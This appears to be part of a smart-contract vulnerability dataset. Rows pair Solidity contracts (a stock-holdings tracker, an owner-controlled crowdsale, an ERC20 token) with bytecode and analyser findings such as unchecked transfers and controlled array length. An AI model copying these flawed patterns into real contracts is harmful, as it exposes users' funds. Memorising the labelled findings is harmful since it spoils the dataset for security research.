* @return avgPrice Average price paid for shares
*/
function getPositionFromHolding
(
uint _index
)
public
view
returns
(
bytes6 market,
bytes6 symbol,
uint32 quantity,
uint32 avgPrice
)
{
bytes12 stockKey = holdings[_index];
(market, symbol) = recoverStockKey(stockKey);
Position storage position = positions[stockKey];
quantity = position.quantity;
avgPrice = position.avgPrice;
}
/**
* @dev Get the number of stocks being held
* @return uint
*/
function getHoldingsCount() public view returns(uint) {
return holdings.length;
}
/**
* @dev Gets the stock key at the given index
* @return bytes32 The unique stock key
*/
function getHolding(uint _index) public view returns(bytes12) {
return holdings[_index];
}
/**
* @dev Generates a unique key for a stock by combining the market and symbol
* @param _market Stock market
* @param _symbol Stock symbol
* @return key The key
*/
function getStockKey(bytes6 _market, bytes6 _symbol) public pure returns(bytes12 key) {
bytes memory combined = new bytes(12);
for (uint i = 0; i < 6; i++) {
combined[i] = _market[i];
}
for (uint j = 0; j < 6; j++) {
combined[j + 6] = _symbol[j];
}
assembly {
key := mload(add(combined, 32))
}
}
/**
* @dev Splits a unique key for a stock and returns the market and symbol
* @param _key Unique stock key
* @return market Stock market
* @return symbol Stock symbol
*/
function recoverStockKey(bytes12 _key) public pure returns(bytes6 market, bytes6 symbol) {
bytes memory _market = new bytes(6);
bytes memory _symbol = new bytes(6);
for (uint i = 0; i < 6; i++) {
_market[i] = _key[i];
}
for (uint j = 0; j < 6; j++) {
_symbol[j] = _key[j + 6];
}
assembly {
market := mload(add(_market, 32))
symbol := mload(add(_symbol, 32))
}
}
function addMarket(bytes6 _market) public onlyOwner {
markets.push(_market);
}
function _addHolding(bytes12 _stockKey) private {
holdings.push(_stockKey);
}
function _removeHolding(bytes12 _stockKey) private {
if (holdings.length == 0) {
return;
}
bool found = false;
for (uint i = 0; i < holdings.length; i++) {
if (found) {
holdings[i - 1] = holdings[i];
}
if (holdings[i] == _stockKey) {
found = true;
}
}
if (found) {
delete holdings[holdings.length - 1];
holdings.length--;
}
}
function _sell
(
uint8 _marketIndex,
bytes6 _symbol,
uint32 _quantity,
uint32 _price
)
private
{
bytes6 market = markets[_marketIndex];
bytes12 stockKey = getStockKey(market, _symbol);
Position storage position = positions[stockKey];
require(position.quantity >= _quantity);
int64 profit = int64(_quantity * _price) - int64(_quantity * position.avgPrice);
position.quantity -= _quantity;
if (position.quantity <= 0) {
_removeHolding(stockKey);
delete positions[stockKey];
}
profits[market] += profit;
emit Sold(market, _symbol, _quantity, _price, profit, now);
}
function _buy
(
uint8 _marketIndex,
bytes6 _symbol,
uint32 _quantity,
uint32 _price
)
private
{
bytes6 market = markets[_marketIndex];
bytes12 stockKey = getStockKey(market, _symbol);
Position storage position = positions[stockKey];
if (position.quantity == 0) {
_addHolding(stockKey);
}
position.avgPrice = ((position.quantity * position.avgPrice) + (_quantity * _price)) /
(position.quantity + _quantity);
position.quantity += _quantity;
emit Bought(market, _symbol, _quantity, _price, now);
}
}
|
0x608060405260043610610111576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680628a3ca114610113578063172ab60c1461018757806327fa35c3146102695780632826185014610294578063388f58cd146102f25780633c6dfba11461033c57806345aeff61146103b3578063603e3a401461046657806364e749ff146104e957806366d48e0a14610560578063715018a6146105be578063786d02d0146105d55780638da5cb5b1461060057806395bb9fcf14610657578063b65f90e3146106c6578063c76b838c1461072a578063ca2392f8146107ad578063d2df922214610824578063eb44fdd3146108f7578063f2fde38b14610972575b005b34801561011f57600080fd5b50610185600480360381019080803560ff169060200190929190803579ffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190803560ff169060200190929190803563ffffffff1690602001909291905050506109b5565b005b34801561019357600080fd5b506101b260048036038101908080359060200190929190505050610c79565b604051808579ffffffffffffffffffffffffffffffffffffffffffffffffffff191679ffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020018479ffffffffffffffffffffffffffffffffffffffffffffffffffff191679ffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020018363ffffffff1663ffffffff1681526020018263ffffffff1663ffffffff16815260200194505050505060405180910390f35b34801561027557600080fd5b5061027e610d55565b6040518082815260200191505060405180910390f35b3480156102a057600080fd5b506102dc600480360381019080803579ffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050610d62565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b5061033a600480360381019080803579ffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050610db9565b005b34801561034857600080fd5b506103b1600480360381019080803560ff169060200190929190803579ffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190803563ffffffff169060200190929190803563ffffffff169060200190929190505050610e82565b005b3480156103bf57600080fd5b50610422600480360381019080803579ffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190803579ffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050610eef565b604051808273ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b34801561047257600080fd5b506104e7600480360381019080803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390505050611054565b005b3480156104f557600080fd5b5061052b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff19169060200190929190505050611161565b604051808363ffffffff1663ffffffff1681526020018263ffffffff1663ffffffff1681526020019250505060405180910390f35b34801561056c57600080fd5b506105a8600480360381019080803579ffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291905050506111dd565b6040518082815260200191505060405180910390f35b3480156105ca57600080fd5b506105d36111f5565b005b3480156105e157600080fd5b506105ea6112f7565b6040518082815260200191505060405180910390f35b34801561060c57600080fd5b50610615611304565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561066357600080fd5b5061068260048036038101908080359060200190929190505050611329565b604051808273ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b3480156106d257600080fd5b50610728600480360381019080803560ff169060200190929190803579ffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190803560ff169060200190929190505050611378565b005b34801561073657600080fd5b506107ab600480360381019080803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390505050611658565b005b3480156107b957600080fd5b50610822600480360381019080803560ff169060200190929190803579ffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190803563ffffffff169060200190929190803563ffffffff169060200190929190505050611765565b005b34801561083057600080fd5b50610866600480360381019080803573ffffffffffffffffffffffffffffffffffffffff191690602001909291905050506117d2565b604051808379ffffffffffffffffffffffffffffffffffffffffffffffffffff191679ffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020018279ffffffffffffffffffffffffffffffffffffffffffffffffffff191679ffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019250505060405180910390f35b34801561090357600080fd5b5061092260048036038101908080359060200190929190505050611977565b604051808279ffffffffffffffffffffffffffffffffffffffffffffffffffff191679ffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b34801561097e57600080fd5b506109b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119cc565b005b60008060008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a1857600080fd5b60038960ff16815481101515610a2a57fe5b90600052602060002090600591828204019190066006029054906101000a90047a010000000000000000000000000000000000000000000000000000029450610a738589610eef565b9350600160008573ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff19168152602001908152602001600020925060008360000160009054906101000a900463ffffffff1663ffffffff16111515610ae157600080fd5b8660ff168360000160009054906101000a900463ffffffff1663ffffffff16811515610b0957fe5b0491508660ff1682028360000160009054906101000a900463ffffffff1603905060008163ffffffff161115610b4657610b4589898389611b21565b5b8660ff168360000160049054906101000a900463ffffffff16028360000160046101000a81548163ffffffff021916908363ffffffff160217905550818360000160006101000a81548163ffffffff021916908363ffffffff1602179055507f75fa2bbe2dc2a5634827c9752d9a076b343d560804993197913169059ea3dc5785898942604051808579ffffffffffffffffffffffffffffffffffffffffffffffffffff191679ffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020018479ffffffffffffffffffffffffffffffffffffffffffffffffffff191679ffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020018360ff1660ff16815260200182815260200194505050505060405180910390a1505050505050505050565b600080600080600080600287815481101515610c9157fe5b9060005260206000209060029182820401919006600c029054906101000a900474010000000000000000000000000000000000000000029150610cd3826117d2565b8096508197505050600160008373ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002090508060000160009054906101000a900463ffffffff1693508060000160049054906101000a900463ffffffff16925050509193509193565b6000600380549050905090565b6000600460008379ffffffffffffffffffffffffffffffffffffffffffffffffffff191679ffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1457600080fd5b600381908060018154018082558091505090600182039060005260206000209060059182820401919006600602909192909190916101000a81548165ffffffffffff02191690837a010000000000000000000000000000000000000000000000000000900402179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610edd57600080fd5b610ee984848484611e50565b50505050565b60006060600080600c6040519080825280601f01601f191660200182016040528015610f2a5781602001602082028038833980820191505090505b509250600091505b6006821015610fb7578582600681101515610f4957fe5b1a7f0100000000000000000000000000000000000000000000000000000000000000028383815181101515610f7a57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610f32565b600090505b6006811015611044578481600681101515610fd357fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002836006830181518110151561100757fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050610fbc565b6020830151935050505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110b157600080fd5b600090505b868690508110156111565761114989898381811015156110d257fe5b9050602002013560ff1688888481811015156110ea57fe5b9050602002013579ffffffffffffffffffffffffffffffffffffffffffffffffffff1916878785818110151561111c57fe5b9050602002013563ffffffff16868686818110151561113757fe5b9050602002013563ffffffff16611e50565b80806001019150506110b6565b505050505050505050565b6000806000600160008573ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002090508060000160009054906101000a900463ffffffff1692508060000160049054906101000a900463ffffffff16915050915091565b60046020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600280549050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060028281548110151561133a57fe5b9060005260206000209060029182820401919006600c029054906101000a900474010000000000000000000000000000000000000000029050919050565b6000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113d957600080fd5b60038760ff168154811015156113eb57fe5b90600052602060002090600591828204019190066006029054906101000a90047a0100000000000000000000000000000000000000000000000000000293506114348487610eef565b9250600160008473ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff19168152602001908152602001600020915060008260000160009054906101000a900463ffffffff1663ffffffff161115156114a257600080fd5b8160000160009054906101000a900463ffffffff168260000160009054906101000a900463ffffffff168660ff1602039050808260000160009054906101000a900463ffffffff160163ffffffff168260000160049054906101000a900463ffffffff168360000160009054906101000a900463ffffffff160263ffffffff1681151561152b57fe5b048260000160046101000a81548163ffffffff021916908363ffffffff160217905550808260000160008282829054906101000a900463ffffffff160192506101000a81548163ffffffff021916908363ffffffff1602179055507f1f4f6e85946afbb81ad6a94e99ec8c51624f4a002cb8ce25ebe90df1040c809e84878742604051808579ffffffffffffffffffffffffffffffffffffffffffffffffffff191679ffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020018479ffffffffffffffffffffffffffffffffffffffffffffffffffff191679ffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020018360ff1660ff16815260200182815260200194505050505060405180910390a150505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116b557600080fd5b600090505b8686905081101561175a5761174d89898381811015156116d657fe5b9050602002013560ff1688888481811015156116ee57fe5b9050602002013579ffffffffffffffffffffffffffffffffffffffffffffffffffff1916878785818110151561172057fe5b9050602002013563ffffffff16868686818110151561173b57fe5b9050602002013563ffffffff16611b21565b80806001019150506116ba565b505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117c057600080fd5b6117cc84848484611b21565b50505050565b60008060608060008060066040519080825280601f01601f19166020018201604052801561180f5781602001602082028038833980820191505090505b50935060066040519080825280601f01601f1916602001820160405280156118465781602001602082028038833980820191505090505b509250600091505b60068210156118d3578682600c8110151561186557fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002848381518110151561189657fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350818060010192505061184e565b600090505b6006811015611960578660068201600c811015156118f257fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002838281518110151561192357fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080806001019150506118d8565b602084015195506020830151945050505050915091565b600060038281548110151561198857fe5b90600052602060002090600591828204019190066006029054906101000a90047a010000000000000000000000000000000000000000000000000000029050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a2757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a6357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008060038860ff16815481101515611b3957fe5b90600052602060002090600591828204019190066006029054906101000a90047a010000000000000000000000000000000000000000000000000000029350611b828488610eef565b9250600160008473ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002091508563ffffffff168260000160009054906101000a900463ffffffff1663ffffffff1610151515611bf657600080fd5b8160000160049054906101000a900463ffffffff16860263ffffffff1685870263ffffffff16039050858260000160008282829054906101000a900463ffffffff160392506101000a81548163ffffffff021916908363ffffffff16021790555060008260000160009054906101000a900463ffffffff1663ffffffff16111515611cf757611c84836120c4565b600160008473ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff19168152602001908152602001600020600080820160006101000a81549063ffffffff02191690556000820160046101000a81549063ffffffff021916905550505b8060070b600460008679ffffffffffffffffffffffffffffffffffffffffffffffffffff191679ffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001908152602001600020600082825401925050819055507fe0859aa323899ecbf2d29c831e6a066f3b0438863731d45316c2efbf6a419ae4848888888542604051808779ffffffffffffffffffffffffffffffffffffffffffffffffffff191679ffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020018679ffffffffffffffffffffffffffffffffffffffffffffffffffff191679ffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020018563ffffffff1663ffffffff1681526020018463ffffffff1663ffffffff1681526020018360070b60070b8152602001828152602001965050505050505060405180910390a15050505050505050565b600080600060038760ff16815481101515611e6757fe5b90600052602060002090600591828204019190066006029054906101000a90047a010000000000000000000000000000000000000000000000000000029250611eb08387610eef565b9150600160008373ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff19168152602001908152602001600020905060008160000160009054906101000a900463ffffffff1663ffffffff161415611f2257611f2182612293565b5b848160000160009054906101000a900463ffffffff160163ffffffff168486028260000160049054906101000a900463ffffffff168360000160009054906101000a900463ffffffff16020163ffffffff16811515611f7d57fe5b048160000160046101000a81548163ffffffff021916908363ffffffff160217905550848160000160008282829054906101000a900463ffffffff160192506101000a81548163ffffffff021916908363ffffffff1602179055507f127e1e6a1d709d12de1f7da7271f969bfc80b2f6739c58b6e971cd12baa89a138387878742604051808679ffffffffffffffffffffffffffffffffffffffffffffffffffff191679ffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020018579ffffffffffffffffffffffffffffffffffffffffffffffffffff191679ffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020018463ffffffff1663ffffffff1681526020018363ffffffff1663ffffffff1681526020018281526020019550505050505060405180910390a150505050505050565b600080600060028054905014156120da5761228e565b60009150600090505b60028054905081101561222957811561219c5760028181548110151561210557fe5b9060005260206000209060029182820401919006600c029054906101000a9004740100000000000000000000000000000000000000000260026001830381548110151561214e57fe5b9060005260206000209060029182820401919006600c026101000a8154816bffffffffffffffffffffffff021916908374010000000000000000000000000000000000000000900402179055505b8273ffffffffffffffffffffffffffffffffffffffff19166002828154811015156121c357fe5b9060005260206000209060029182820401919006600c029054906101000a9004740100000000000000000000000000000000000000000273ffffffffffffffffffffffffffffffffffffffff1916141561221c57600191505b80806001019150506120e3565b811561228d57600260016002805490500381548110151561224657fe5b9060005260206000209060029182820401919006600c026101000a8154906bffffffffffffffffffffffff0219169055600280548091906001900361228b9190612301565b505b5b505050565b600281908060018154018082558091505090600182039060005260206000209060029182820401919006600c02909192909190916101000a8154816bffffffffffffffffffffffff021916908374010000000000000000000000000000000000000000900402179055505050565b815481835581811115612336576001016002900481600101600290048360005260206000209182019101612335919061233b565b5b505050565b61235d91905b80821115612359576000816000905550600101612341565b5090565b905600a165627a7a723058205294638a4712d3813a55e41bd1229b9043525250ecaf3d66c86c495be523b0130029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,667 |
0x63ffad099717cc3fc0d83d001fb94740ae47ee46
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overriden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropiate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Owner address
address public owner;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
/**
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
owner = msg.sender;
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_forwardFunds();
}
// -----------------------------------------
// owner only function
// -----------------------------------------
/**
* @dev owner transfer token to specific address, directly
* @param _beneficiary Address
* @param _tokenAmount to _beneficiary address
*/
function ownerTokenTransfer(address _beneficiary, uint _tokenAmount) onlyOwner {
_deliverTokens(_beneficiary, _tokenAmount);
}
/*
* @dev owner set owner
* @param new owner address
*/
function ownerSetOwner(address _newOwner) onlyOwner {
owner = _newOwner;
}
/*
* @dev owner set new wallet
* @param new wallet to collect funds
*/
function ownerSetWallet(address _newWallet) onlyOwner {
wallet = _newWallet;
}
/*
* @dev owner set new wallet
* @param new wallet to collect funds
*/
function ownerSetRate(uint256 _newRate) onlyOwner {
rate = _newRate;
}
/*
* @dev owner selfdestruct contract ***BE CAREFUL! EMERGENCY ONLY***
* before self destruct, execute ownerTokenTransfer() to GET TOKEN OUT.
*/
function ownerSelfDestruct() onlyOwner {
selfdestruct(owner);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
|
0x6080604052600436106100ae5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416632c4e722e81146100b95780634042b66f146100e0578063521eb273146100f55780638da5cb5b14610126578063901da0df1461013b57806396102d7d1461015f578063ad8a9c8e14610180578063cf9faf1d146101a1578063d38c3253146101b9578063ec8ac4d8146101ce578063fc0c546a146101e2575b6100b7336101f7565b005b3480156100c557600080fd5b506100ce610290565b60408051918252519081900360200190f35b3480156100ec57600080fd5b506100ce610296565b34801561010157600080fd5b5061010a61029c565b60408051600160a060020a039092168252519081900360200190f35b34801561013257600080fd5b5061010a6102ab565b34801561014757600080fd5b506100b7600160a060020a03600435166024356102ba565b34801561016b57600080fd5b506100b7600160a060020a03600435166102e3565b34801561018c57600080fd5b506100b7600160a060020a036004351661032d565b3480156101ad57600080fd5b506100b7600435610377565b3480156101c557600080fd5b506100b7610397565b6100b7600160a060020a03600435166101f7565b3480156101ee57600080fd5b5061010a6103c0565b34600061020483836103cf565b61020d826103f0565b600454909150610223908363ffffffff61040d16565b60045561023083826102d5565b82600160a060020a031633600160a060020a03167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a361028b61041a565b505050565b60035481565b60045481565b600254600160a060020a031681565b600154600160a060020a031681565b60015433600160a060020a039081169116146102d557600080fd5b6102df8282610456565b5050565b60015433600160a060020a039081169116146102fe57600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60015433600160a060020a0390811691161461034857600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60015433600160a060020a0390811691161461039257600080fd5b600355565b60015433600160a060020a039081169116146103b257600080fd5b600154600160a060020a0316ff5b600054600160a060020a031681565b600160a060020a03821615156103e457600080fd5b8015156102df57600080fd5b6000610407600354836104f890919063ffffffff16565b92915050565b8181018281101561040757fe5b600254604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610453573d6000803e3d6000fd5b50565b60008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038681166004830152602482018690529151919092169263a9059cbb92604480820193602093909283900390910190829087803b1580156104c857600080fd5b505af11580156104dc573d6000803e3d6000fd5b505050506040513d60208110156104f257600080fd5b50505050565b600082151561050957506000610407565b5081810281838281151561051957fe5b041461040757fe00a165627a7a723058205695543825e9452a36e1f32eafd8256dda0b67fcfdb198196cd4e8b7cd88fbaf0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 8,668 |
0x1e8b362f354ca409c936f37d0cbae16b4f15bdf0
|
pragma solidity ^0.4.24;
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value );
event Approval( address indexed owner, address indexed spender, uint256 value );
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
}
// ERC20 standard token
contract AdvanceToken is StandardToken {
address public owner;
